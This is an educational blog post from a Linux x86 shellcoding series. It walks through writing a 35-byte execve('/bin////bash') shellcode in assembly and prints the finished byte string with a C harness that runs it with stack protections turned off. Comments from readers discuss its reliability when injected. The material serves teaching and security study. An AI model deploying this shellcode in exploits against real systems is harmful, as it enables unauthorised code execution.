Linux x86 Shellcoding – 102   5 comments

  • Post Info:
    1. # Author: Flavio do Carmo Junior aka waKKu
      # URL: Author’s Webpage
      # Date: April 29, 2011
      # Category: Assembly, Exploiting, Programming, Security

    Hi again…

    The objective for our shellcode today is execute the following syscall:
    execve(‘/bin/bash’, [ ‘/bin/bash’, 0x00 ], [ 0x00 ])

    1. Intelligence Gathering

    We are going to consider 0x00, 0x0d and 0x0a as bad chars.

    A. Our syscall specification:
    man 2 execve

    SYNOPSIS
    #include <unistd.h>

    int execve(const char *filename, char *const argv[],
    char *const envp[]);

    DESCRIPTION
    execve() executes the program pointed to by filename. filename must be either a binary executable, or a script starting with a line of the form “#! interpreter [arg]”. In the latter case, the interpreter must be a valid pathname for an executable which is not itself a script, which will be invoked as interpreter [arg] filename.

    argv is an array of argument strings passed to the new program. envp is an array of strings, conventionally of the form key=value, which are passed as environment to the new program. Both argv and envp must be terminated by a null pointer. The argument vector and environment can be accessed by the called program’s main function, when it is defined as int main(int argc, char *argv[], char *envp[]).
    […]

    Then we have:

    1st. argument: Pointer to a string containing our filename
    2nd. argument: Pointer to an array of arguments, terminated by 0x00*
    3rd. argument: Pointer to an array of environment variables, terminated by 0x00
    *: The first argument must be our filename, the program being executed

    B. Syscall Number: 11 (hexadecimal 0x0b)

    waKKu@blog$ grep __NR_execve /usr/include/asm-i486/unistd.h
    #define __NR_execve              11
    

    2. Writing onto stack
    Ok, there is (at least) two most common techniques to write strings onto stack.
    CALL + POP: As we can see in call instruction description, before the flow be redirected to specified address being “called” the memory address of call instruction plus one is pushed onto stack, example:

    Address   |	Instruction		# Comment
    0x08040101:	call 0x08048686		# This instruction is 5 bytes long
    0x08040106:	inc %eax		# Here we have the address of: call (5 bytes long) + 1 = 0x08040106, 
    [...]					# this value will be pushed onto stack
    [...]
    0x08048686:	push %ebp		# Instruction example, after push 0x08040106 onto stack, the call 
    [...]					# instruction will set EIP = 0x08048686 and land here.
    [...]
    0x08048702:	pop %ebp		# We need to revert stack back to its initial situation
    0x08048703:	ret			# When this "ret" instruction is executed, the first value on stack
    					# is exactly that pushed by "call", what happens here is similar to 
    					# a "pop %eip" instruction. The value on top of stack is moved to EIP
    					# register and stack reduced.
    

    So we can note a “dependency” between call and ret instructions and to everything work as expected we NEED to have adjusted stack back to its initial situation right after “call” was executed, thus we are sure that ne first value on top of stack is the address where we must return (ret) to.
    This trick is a simple “break” in this circle of trust :)… We simply create an label to our string right after a “call”, so call will push our label onto stack and we can easily “pop” it back to whatever register we want.

    PUSH zero + PUSH string-backward: Now we need to recall how Linux stack works.
    . Stack starts at address 0xbfffffff (the very first address before kernel’s memory, what starts at 0xc0000000).
    . At the time we do a “push register” instruction, what really happens is similar to:

     movl %reg, (%esp) # Copy the content within "%reg" register to where register "%esp" is pointing to
                       # Until now, the ESP register didn't change
     sub  $-4, %esp    # Now we subtract 4 bytes (32 bits) of our ESP, now ESP point to
                       # the next 4 bytes free in stack area, waiting for a new "push".
    

    Let’s simulate a “perfect” scenario when a program is executed and has its stack area reserved, the ESP register should point to 0xbffffffc, in other words, the “maximum value for stack” “4 bytes (32 bits -> size of our “word”)”, because if we try to write something at address 0xbfffffff we would end up trying to access kernel area and, certainly, be killed with a segfault.

    Now we’re able to understand:
    – Stack GROWS by blocks of 4 bytes (in case of 32 bits) SUBTRACTING from its own value.
    – Although the data being written on stack grows as “natural”, for instance if we wrote “ABCDEFGH” at address 0xbffffff8, we have:

    1st. block
    0xbffffff8 -> “D” (ASCII) / 0x44 (Hexadecimal) / 68 (Decimal)
    0xbffffff9 -> “C” (ASCII) / 0x43 (Hexadecimal) / 67 (Decimal)
    0xbffffffa -> “B” (ASCII) / 0x42 (Hexadecimal) / 66 (Decimal)
    0xbffffffb -> “A” (ASCII) / 0x41 (Hexadecimal) / 65 (Decimal)
    2nd. block
    0xbffffffc -> “H” (ASCII) / 0x48 (Hexadecimal) / 72 (Decimal)
    0xbffffffd -> “G” (ASCII) / 0x47 (Hexadecimal) / 71 (Decimal)
    0xbffffffe -> “F” (ASCII) / 0x46 (Hexadecimal) / 70 (Decimal)
    0xbfffffff -> “E” (ASCII) / 0x45 (Hexadecimal) / 69 (Decimal)

    – This is explained by “Endianness”, in our case we are using a Little-Endian architecture. But, of course, when we read from memory the same reverse takes place, from LSB (Least Significant Byte) to MSB (Most Significant Byte).

    Take a look at this code block:

    waKKu@0xcd80$ printf '0x%x%x%x%x\n' "'A'" "'B'" "'C'" "'D'"
    0x41424344
    waKKu@0xcd80$ cat poc.s
    .section .text
    .globl _start
    _start:
            push $0x41424344 # 'ABCD'
            int  $0x03       # SIGTRAP (force breakpoint instruction)
    waKKu@0xcd80$ as -o poc.o poc.s
    waKKu@0xcd80$ objdump -D poc.o
    
    poc.o:     file format elf32-i386
    
    Disassembly of section .text:
    
    00000000 <_start>:
       0:   68 44 43 42 41          push   $0x41424344
       5:   cc                      int3
    
    waKKu@0xcd80$ ld -o poc poc.o
    waKKu@0xcd80$ gdb --quiet ./poc
    (no debugging symbols found)
    Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
    (gdb) run
    Starting program: /home/waKKu/0xcd80/poc
    Failed to read a valid object file image from memory.
    
    Program received signal SIGTRAP, Trace/breakpoint trap.
    0x0804807a in ?? ()
    (gdb) i r esp
    esp            0xbfe1033c       0xbfe1033c
    (gdb) x/xb 0xbfe1033c
    0xbfe1033c:     0x44
    (gdb)
    0xbfe1033d:     0x43
    (gdb)
    0xbfe1033e:     0x42
    (gdb)
    0xbfe1033f:     0x41
    (gdb) x/x 0xbfe1033c
    0xbfe1033c:     0x41424344
    (gdb) x/s 0xbfe1033c
    0xbfe1033c:      "DCBA\001"
    (gdb) # ... Damn Yankees...
    (gdb) quit
    

    As we can see, ESP points to “0xbfe1033c” and even we using instruction “push $0x41424344” the value was written as 0x44, 0x43, 0x42 and 0x41 (check objdump’s output), then we ask gdb to interpret the “word” at address “0xbfe1033c” and it shows “0x41424344” as expected (little-endian interpreted), but then we ask gdb to interpret the same address but as string this time, and we got “DCBA” (little-endian NOT interpreted). This happened because when reading strings or instructions, we have no fixed length, thus we can’t always interpret the endianness so gdb showed it straight as adjusted in memory.

    All this in mind, if we want to write “HADOUKEN”, we need to do:

    push $0x00000000		 # 4-bytes to keep stack's alignment
    push $0x4e454b55                 # push 'NEKU'
    push $0x4f444148                 # push 'ODAH'
    

    After that two push’s, ESP is pointing right to little-endian 4-bytes block “HADO” (remember that when we assemble our code the block “ODAH” becomes “HADO” thanks to endianness).
    Long story short: Whe should push our string backwards onto stack, starting by NULL Termination (0x00) and reversing each 4-bytes block, when done “%esp” register will be a pointer to our string on stack.

    Ok, I believe we’ve enough to create our algorithm now.

    3. Algorithm

    To make our life a bit easier with that ‘push zero + string’ technique, I wrote a simple Linux bash script I called “pushstr.sh”.

    I’ll try to make code as commented as I can.

    waKKu@blog$ ./pushstr.sh
    Written by: Flavio do Carmo Junior aka waKKu
    
    Usage: ./pushstr.sh 'string'
    
    Example of safe padding:
    Linux doesn't care about multiple slashes in commands
    % ./pushstr.sh '/usr////sbin/usermod'
    waKKu@blog$ ./pushstr.sh '/bin/bash'
    !!!! String is not multiple of 4 (32bits) !!!!
    !!!! I am padding it with (3) '##' chars !!!!
    !!!! replace this with the byte of your choice !!!!
    
    Written by: waKKu @ DcLabs - www.dclabs.com.br
    
    Usage: ./pushstr.sh 'string'
    
    Example of safe padding:
    Linux doesn't care about multiple slashes in commands
    % ./pushstr.sh '/usr////sbin/usermod'
    
    
    push $0x######68              # push 'h'
    push $0x7361622f              # push 'sab/'
    push $0x6e69622f              # push 'nib/'
    
    waKKu@blog$
    

    If you didn’t understand what pushstr.sh said, to keep stack aligned we need to push 4-bytes values and Linux ignores multiple slashes (‘/’), thus we can use them as padding characters.

    waKKu@blog$ ./pushstr.sh '/bin////bash'
    
    push $0x68736162              # push 'hsab'
    push $0x2f2f2f2f              # push '////'
    push $0x6e69622f              # push 'nib/'
    
    waKKu@blog$
    

    Objective updated:
    execve(‘/bin////bash’, [ ‘/bin////bash’, 0x00 ], [ 0x00 ])

    Algorithm:
    1. Push string ‘/bin////bash’ + NULL onto stack
    2. Copy the address pointing to string to “ebx” register (filename)
    3. Create a new area with [ ‘/bin////bash’, 0x00 ] (array of pointers)
    4. Copy the address of area 3. to “ecx” register (argv = pointer to array of pointers)
    5. Create a new area with [ 0x00 ] (array of pointers)
    6. Copy the address of area 5. to “edx” register (envp = pointer to array of pointers)
    7. Assign value 0x0b (decimal 11) to “eax” register (syscall)
    8. Call protected/kernel mode to execute our syscall

    Let’s write this code:

    4. Assembly

    waKKu@blog$ cat execve-shellcode.s
    # AUTHOR: Flavio do Carmo Junior aka waKKu
    # Objective:
    #   call execve('/bin////bash', [ '/bin////bash', 0x00 ], [ 0x00 ])
    # VARIABLES:
    #       %eax -> Syscall number (0x0b)
    #       %ebx -> '/bin////bash'
    #       %ecx -> [ '/bin////bash, 0x00 ]
    #       %edx -> [ 0x00 ]
    .section .text
    .globl _start
    
    _start:
            xorl %eax, %eax         # Zeroing "eax" (our maneuver register)
            push %eax               # Push $0x00000000 onto stack (4-byte to alignment)
            push $0x68736162        # push 'hsab'
            push $0x2f2f2f2f        # push '////'
            push $0x6e69622f        # push 'nib/'
            movl %esp, %ebx         # Copy value of ESP to "ebx", making ebx a pointer to filename
    
            # Now we need to setup our *argv[] in reverse arrangement
            push %eax               # argv[] must end with 0x00 (argv[1])
            push %ebx               # Followed by a pointer to our filename (argv[0])
            movl %esp, %ecx         # Now ESP points to an area with 2 memory addresses argv[0] and 
    				# argv[1]. Then what we need now is copy ESP to "ecx" register
    				# making "ecx" a pointer to an array of pointers
    
            # Now is time to setup *envp[], we need a pointer to an array of pointers
            # And this array needs only one entry, that our NULL (0x00)
            push %eax               # "eax" is still 0x00000000
            movl %esp, %esi         # Now we copy ESP to "esi", making "esi" a pointer to 0x00
            push %esi               # Now we push "esi" onto stack, making ESP a pointer to an array of pointers
            movl %esp, %edx         # Finally we copy ESP to "edx"
            add $0x0b, %eax         # Now we can add 0x0b (11d) to "eax" (that is zero at this time).
                                    # Everything ready to go
            int $0x80               # We call protected/kernel mode to execute our syscall
    
    waKKu@blog$ as -o execve-shellcode.o execve-shellcode.s
    waKKu@blog$ objdump -d execve-shellcode.o
    
    execve-shellcode.o:     file format elf32-i386
    
    Disassembly of section .text:
    
    00000000 <_start>:
       0:   31 c0                   xor    %eax,%eax
       2:   50                      push   %eax
       3:   68 62 61 73 68          push   $0x68736162
       8:   68 2f 2f 2f 2f          push   $0x2f2f2f2f
       d:   68 2f 62 69 6e          push   $0x6e69622f
      12:   89 e3                   mov    %esp,%ebx
      14:   50                      push   %eax
      15:   53                      push   %ebx
      16:   89 e1                   mov    %esp,%ecx
      18:   50                      push   %eax
      19:   89 e6                   mov    %esp,%esi
      1b:   56                      push   %esi
      1c:   89 e2                   mov    %esp,%edx
      1e:   83 c0 0b                add    $0xb,%eax
      21:   cd 80                   int    $0x80
    waKKu@blog$ ld -o execve-shellcode execve-shellcode.o
    waKKu@blog$ ./execve-shellcode
    localhost:/home/wakku$ exit
    exit
    waKKu@blog$
    

    I’ve tried to write this shellcode as simple as possible, even so we got a good shellcode.
    Well, is a bit annoying to convert all those opcodes to C format, right?
    It’s time to another handy Linux bash script, this one I called makesc.sh.

    waKKu@blog$ ./makesc.sh
    Written by: Flavio do Carmo Junior aka waKKu
    
    Usage: %0 <object file> [#columns|rawfile] [concat]
    1:
            [#columns] -> defaults to 16
            [concat] -> defaults to empty (C syntax)
    
            In order to use a [concat] you must provide [#columns]
            Example: ./makesc.sh shell.o 8 . # Perl syntax
            Example: ./makesc.sh shell.o 12 ' + \' # Python syntax with spaces
    
    2:
            [rawfile] -> creates a RAW file with the shellcode (if the
                      file already exists, it will be truncated)
    
            Example: ./makesc.sh shell.o shell.bin
    
    waKKu@blog$ ./makesc.sh execve-shellcode.o
    ShellCode is clean (0 nulls)
    Using 16 opcodes/line
    
    // ShellCode -> [ 'File:execve-shellcode.o', 'Size:35 bytes', 'NULLs: 0' ]
    "\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f\x62"
    "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x50\x89\xe6\x56\x89\xe2\x83\xc0"
    "\x0b\xcd\x80"
    
    waKKu@blog$
    

    35 bytes long… The smallest execve() shellcode I’ve found is 21 bytes long :).

    5. Exploiting

    I’ll be using the same trick to test this shellcode.

    waKKu@blog$ cat trysc102.c
    #include <stdio.h>
    #include <string.h>
    
    // ShellCode -> [ 'File:execve-shellcode.o', 'Size:35 bytes', 'NULLs: 0' ]
    char shellcode[] =      "\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f\x62"
                            "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x50\x89\xe6\x56\x89\xe2\x83\xc0"
                            "\x0b\xcd\x80";
    
    int main(int argc, char **argv)
    {
            int (*ret)()=(int(*)())shellcode; //function pointer = casting variavel -> função
            printf("Calling shellcode...");
            ret(); // chamamos nosso function pointer
            printf("If you are seeing this line, WE FAILED!!!"); // se o shellcode funcionar um _execve() vai acontecer
    }
    waKKu@blog$ gcc -fno-stack-protector -z execstack -o trysc102 trysc102.c
    waKKu@blog$ ./trysc102
    localhost:/home/wakku$ exit
    exit
    waKKu@blog$
    

    SUCCESS! This time is easier to say “worked as expected” :), after execution we noticed an environment change (we didn’t setup any environment variables), and we got a new shell (that I promptly exited).

    You can replace “/bin////bash” by any command you want (without arguments), example: /usr/bin////free

    That’s all, folks! Looking forward our next meet.

    Summary:
    Linux x86 ShellCodes 101 – Objective: Topics introduction and exit(69) shellcode
    Linux x86 ShellCodes 102 – Objective: execve() shellcode & push strings technique.
    Linux x86 ShellCodes 103 – Objective: Add a new ‘root’ user in system & CALL+POP technique.
    Linux x86 ShellCodes 104 – ASCII Encoding and a Self-Decoder Shellcode
    Linux x86 ShellCodes 105 – The (Easter) EggHunting Game (EggHunter Shellcode)
    Linux x86 ShellCodes 106 – ???? Sugestões?? Venetian Shellcode???

    waKKu

    Advertisements

    Posted April 29, 2011 by waKKu in Assembly, Exploiting, Programming, Security, Shellcoding

    5 responses to “Linux x86 Shellcoding – 102

    Subscribe to comments with RSS.

    1. Very good posts!

      siyobik.info has changed up their site. I think the call instruction page you were linking to is at http://siyobik.info/main/reference/instruction/CALL

    2. Thanks man …

      Very good !

    3. That smallest execve shellcode has a small flaw in it. The instruction to move 0x0b into al is going to ignore the uppermost 24 bits in the eax register. This is not a problem for testing purposes and the shellcode will work fine, this is because when a test program launches the registers are zeroed. In a real situation the shellcode is injected into a process and the status of the registers cannot be assumed. This means the shellcode will fail most of the time. This can be fixed this way:
      – mov al, $0x0b
      +mov eax, ecx
      +add al, $0x0b
      An extra opcode or two but a lot more likely to work!!

      • Hi Xeon,

        Yeah, quite true!
        They could simply xor eax, eax at the top also, like I did in my code. :)
        Thanks for the reply, might be useful for someone trying to play around with that shellcode.
        I suppose their shellcode weren’t supposed to be “injected”, simply the smallest possible.

    Leave a Reply

    Fill in your details below or click an icon to log in:

    WordPress.com Logo

    You are commenting using your WordPress.com account. Log Out / Change )

    Twitter picture

    You are commenting using your Twitter account. Log Out / Change )

    Facebook photo

    You are commenting using your Facebook account. Log Out / Change )

    Google+ photo

    You are commenting using your Google+ account. Log Out / Change )

    Connecting to %s

    %d bloggers like this: